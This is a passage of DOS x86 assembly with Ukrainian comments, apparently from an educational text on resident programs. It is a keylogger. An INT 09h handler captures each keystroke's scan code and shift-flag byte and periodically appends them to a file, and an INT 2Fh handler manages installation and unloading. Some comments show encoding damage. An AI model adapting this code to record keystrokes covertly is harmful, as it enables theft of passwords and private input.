я лічильника в BL
mov [bufer + bx], al; Запишемо в буфер скан-код клавіші
inc bl; Збільшимо зсув буфера
push es; Збережемо регістр ES
mov ax, 40h; Набудуємо ES на початок області даних BIOS
mov es, ax
mov al, es: [17h]; Занесемо байт прапорів клавіатури в AL
pop es; Відновимо ES
mov [bufer + bx], al; Запишемо байт прапорів у буфер
inc bl; Збільшимо зсув на 1
add sch, 2; Лічильник натискань +2
cmp sch, 32; Пора скидати буфер в файл? p> je go; Так - на процедуру запису в файл
jmp exit; Ні - на вихід
go: call fil; Виклик процедури запису у файл
; Відновимо використовувалися регістри
exit: pop ds
pop dx
pop cx
pop bx
pop ax
jmp cs: old_09h; Передамо управління системного оброблювачу "int09h"
new_09h endp; Кінець процедури обробника від клавіатури
; Процедура запису в файл скан-кодів і прапорів клавіатури
fil proc
push cs; Набудуємо DS на наш сегмент
pop ds
mov ah, 3dh; Функція відкриття файлу
mov al, 1; для запису
mov dx, offset filename; DS: DX В¬ ASCIIZ імені файлу
int 21h
mov bx, ax; Дескриптор у ВХ
xor cx, cx; відчистити СХ
xor dx, dx; і DX
mov ax, 4202h; Функція установки покажчика в кінець файлу
int 21h
mov ah, 40h; Функція запису в файл
mov cl, sch; CL В¬ кількість байт
mov dx, offset bufer; DS: DX В¬ адреса буфера
int 21h
mov ah, 3eh; Функція закриття файлу
int 21h
mov sch, 0; обнулили лічильник
ret; Вихід з процедури
fil endp; Кінець процедури запису у файл
; Оброблювач мультиплексорного переривання
new_2fh proc
cmp ah, 0f1h; Перевіримо номер функції мультиплексорного переривання
jne out_2fh; Не наше - на вихід
cmp al, 00h; Подфункция перевірки на повторну установку?
je inst; Так, повідомимо про неможливість повторної установки
cmp al, 01h; Подфункция вивантаження?
je off; Так - на вивантаження
jmp short out_2fh; Невідома подфункция, на вихід
inst: mov al, 0ffh; Програма вже встановлена ​​
iret; Вихід з переривання
out_2fh:
jmp cs: old_2fh; Перехід в наступний по ланцюжку обробник переривання 2Fh
; Вивантажимо програму з пам'яті, попередньо відновивши всі перехоплені нею вектори
; Збережемо використовувані регістри
off: push ds
push es
push dx
push ax
push bx
push cx
call fil; Виклик процедури запису в файл вмісту буфера
; Відновимо використовувалися регістри
pop cx
pop bx
pop ax
; Відновимо вектор 09h
mov ax, 2509h; Функція установки вектора
lds dx, cs: old_09h; Заповнимо DS: DX
int 21h
...